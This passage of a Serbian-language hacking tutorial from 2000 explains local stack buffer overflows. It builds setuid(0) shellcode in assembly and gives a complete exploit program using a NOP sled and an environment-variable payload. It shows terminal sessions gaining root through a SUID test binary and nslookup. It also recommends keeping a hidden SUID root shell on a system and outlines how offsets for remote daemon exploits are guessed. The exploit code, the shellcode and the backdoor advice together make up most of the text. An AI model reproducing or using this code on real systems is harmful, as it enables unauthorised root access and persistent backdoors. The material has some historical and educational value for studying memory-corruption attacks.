(gdb)quit 

Sad malo razmotrimo nas code u asembleru!!!

Pogledajte u __setuid+49 movl %edi,%ebx

u EBX se nalazi nas UID koji zelimo , a u eax subrutina koju izvrsavamo

znaci nas kod bi ovako izgledao

movl $0x0,%ebx

movl $0x17,%eax

int $0x80

Vidite ono movl $0x0,%ebx e to 0x0 ce da nas sredi,jer strcpy() kopira

dok ne naidje na '\0' karakter sto je nista drugo do 0x00 u HEX.Prema tome

nas program prepisan u C koristeci __asm__() izlgeda ovako:

setuid1.cpp

------------------

 int main(){

 __asm__("xorl %eax,%eax \n movl %eax,%ebx \n movb $0x17,%al \n int $0x80");

}

kompajlirajmo ovo u i dobicemo:

root@scorpion#c++ setuid1.cpp -o setuid1

root@scorpion#gdb setuid1

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i686-pc-linux-gnu"...

(gdb) disass main

Dump of assembler code for function main:

0x8048730 <main>:       push   %ebp

0x8048731 <main+1>:     mov    %esp,%ebp

0x8048733 <main+3>:     xor    %eax,%eax

0x8048735 <main+5>:     mov    %eax,%ebx

0x8048737 <main+7>:     mov    $0x17,%al

0x8048739 <main+9>:     int    $0x80

0x804873b <main+11>:    xor    %eax,%eax

0x804873d <main+13>:    jmp    0x8048740 <main+16>

0x804873f <main+15>:    nop    

0x8048740 <main+16>:    mov    %ebp,%esp

0x8048742 <main+18>:    pop    %ebp

0x8048743 <main+19>:    ret    

0x8048744 <main+20>:    nop    

0x8048745 <main+21>:    nop    

0x8048746 <main+22>:    nop    

0x8048747 <main+23>:    nop    

0x8048748 <main+24>:    nop    

0x8048749 <main+25>:    nop    

0x804874a <main+26>:    nop    

0x804874b <main+27>:    nop    

0x804874c <main+28>:    nop    

0x804874d <main+29>:    nop    

0x804874e <main+30>:    nop    

0x804874f <main+31>:    nop    

End of assembler dump.

(gdb) x/bx main+3

0x8048733 <main+3>:     0x31

(gdb) 

0x8048734 <main+4>:     0xc0

(gdb) 

0x8048735 <main+5>:     0x89

(gdb) 

0x8048736 <main+6>:     0xc3

(gdb) 

0x8048737 <main+7>:     0xb0

(gdb) 

0x8048738 <main+8>:     0x17

(gdb) 

0x8048739 <main+9>:     0xcd

(gdb) 

0x804873a <main+10>:    0x80

(gdb) quit

Vidimo da nas program pocinej od main+3 tj. ono sto smo mi napisali u ASM

nas program ide od main+3 do main+10 jer je int $0x80 instrukcija od 2 bajta

pocine na main+9 a zavrsava se na main+10

HEX kod smo dobili gore i on je

char setuid="\x31\xc0\x89\xc3\xb0\x17\xcd\x80";

Sad napisimo jedan program sa ovim nasim ASM instrukcijama koji bi odgovarao

setuid+shell_code

final.cpp

------------------------------

void main(){

 __asm__("xorl %eax,%eax \n movl %eax,%ebx \n movb $0x17,%al \n int $0x80 \n");

char *sh[2];

sh[0]="/bin/sh";

sh[1]=NULL;

execve(sh[0],sh,NULL);

exit(0);

}

kompajlirajte ovaj program dajte mu a+s i izvrsite ga kao obican korisnik.

root@scorpion#c++ final.cpp -0 final

root@scorpion#chmod a+s final

root@scorpion#cp final /home/predator

root@scorpion#su predator

predator@scorpion#id

uid=500(predator) gid=101(korisnici) groups=101(korisnici)

predator@scorpion#./final

sh-2.03#id

uid=0(root) gid=101(korisnici) groups=101(korisnici)

Kao sto vidimo imamo apsolutnu kontrolu nad sistemom nema sad vise imas/nemam

euid vec sad imam UID i sad smo ROOT tj. mozemo da radimo sta god pozelimo.

Da unpasswordujemo root racun,da sebi namestimo u passwd uid=0 i gid=0

ma sve zivo...i sad konacno 3.korak

3. Sad posto imamo nas setuid(0) kod i shell_code ajde da ih povezemo.

char shell_code[]=

"\x31\xc0\x89\xc3\xb0\x17\xcd\x80" //setuid(0) kod

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";//shell_code

sada su jedno.Po kojoj sam logici iso?

Imam shell code pisan u ASM i ispred njega sam dodao moje asm instrukcije

i dobio ono sto je sad pred vama...

Prepravimo nas exploit.cpp u ultimate_exploit.cpp

---------------------------------------------

#include<unistd.h>

#include<iostream.h>

#include<stdlib.h>

#include<string.h>

#include<stdio.h>

char shell_code[]=

"\x31\xc0\x89\xc3\xb0\x17\xcd\x80"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(){

 __asm__(" movl %esp,%eax \n");

}

#define BUFFER 612

#define OFFSET 0

#define ENV_SIZE 2048

#define NOP 0x90

int main(int argc,char **argv){

 int buffer=BUFFER,offset=OFFSET,env_size=ENV_SIZE,i;

 if (argc==1){

      cout<<" Usage "<<argv[0]<<" <buffer> <offset> <env_size>"<<endl; 

      cout<<" Program will continue with its defailt values"<<endl;

       }

 if (argc>1){

   buffer=atoi(argv[1]);

}

 if (argc>2){

   offset=atoi(argv[2]);

}

 if (argc>3){

   env_size=atoi(argv[3]);

   }

long *stack=(long *)(get_esp()-offset);

cout<<" Using addres "<<stack<<endl;

char *env=(char*)malloc(env_size);

char *buf=(char*)malloc(buffer);

if (env==NULL && buf==NULL){

 cout<<" Cant alocate memory"<<endl;

 exit(1);




   }    

long *addr=(long*)buf;

char *ptr=env;

for (i=0;i<buffer/4;i++){

 *(addr+i)=(long)stack;

}

for (i=0;i<env_size-strlen(shell_code)-2;i++){

 *ptr++=NOP;

} 

for (i=0;i<strlen(shell_code);i++){

*ptr++=shell_code[i];

}

buf[buffer-1]='\0';

env[env_size-1]='\0';

memcpy(buf,"RET=",4);

putenv(buf);

memcpy(env,"ENV=",4);

putenv(env);

system("/bin/bash");

exit(0);

}

-------------------------------------

predator@scorpion#ls -l vurnable

-rwsr-sr-x  1 root     root       3533 Jun 26 22:20 vurnable

Super program je SUID i ajde da uzmemo nas ROOT

predator@scorpion#./ultimate_exploit

Usage ./ultimate_exploit <buffer> <offset> <env_size>

Program will continue with its defailt values

Using addres 0xbffff990

bash-2.03#./vurnable $RET

sh-2.03#id

uid=0(root) gid=101(korisnici) ...

u covece stvarno UID 0 sad sam root jeeeeeeeeee!!!!

Aj sad da vidimo da li ovo stvarno radi!

predator@scorpion#ls -l /usr/bin/nslookup

-rwsr-sr-x 1 root   root  139139 Aug 7 1999 /usr/bin/nslookup

predator@scorpion#./exploit1

Usage ./ultimate_exploit <buffer> <offset> <env_size>

Program will continue with its defailt values

Using addres 0xbffff990

bash-2.03#nslookup $RET

*** Can't open $ for writing

sh-2.03#

i dobili smo root!!Sada nslookup moze biti SUID i UID kod mene je SUID

ali negde ce biti UID.Tamo gde je UID nece se dobiti root vec samo 

shell...

Da vas prosvetim:

Ovo uvek drzite na svom sistemu ovakvu kombinaciju ali skrivenu od drugih...

Ako slucajno zaboravite root pass ili kojim slucajem promenite root pass

a ne primetite to ili ostetite /etc/shadow ovo ce vam biti jedini nacin 

da dobijete root...

remote buffer overflow:

hmmm...to se vrsi nagadjanjem tako sto se gleda struktura CPU koga napadate

znaci radi se po pretpostavci da ce nesto na vasem kopjuteru biti otprilike

negde isto kao i na remote racunaru s obzirom da su iste strukture.

Dobra caka je da ako nadjete BUG u nekom demonu isti kompajlirate i

startujete kao svoj demon s izmenom sto ce da stampa stack pointer neke

vrednosti.

Ubacite mu u kod 

------------------------

printf("%p\n",&neka_promenljiva_koja_je_ranjiva);

------------------------

Ovako biste nasli otprilike adresu + - neki offset od npr 2000 nemoze da se

omasi jer je CPU isti,sistem isti pa ako je jos i demon isti nemoze da se 

omasi...(naime tako rade svi exploiti)...

Eto to bi bilo to...


      Copyright (c) 6/2000  by predator
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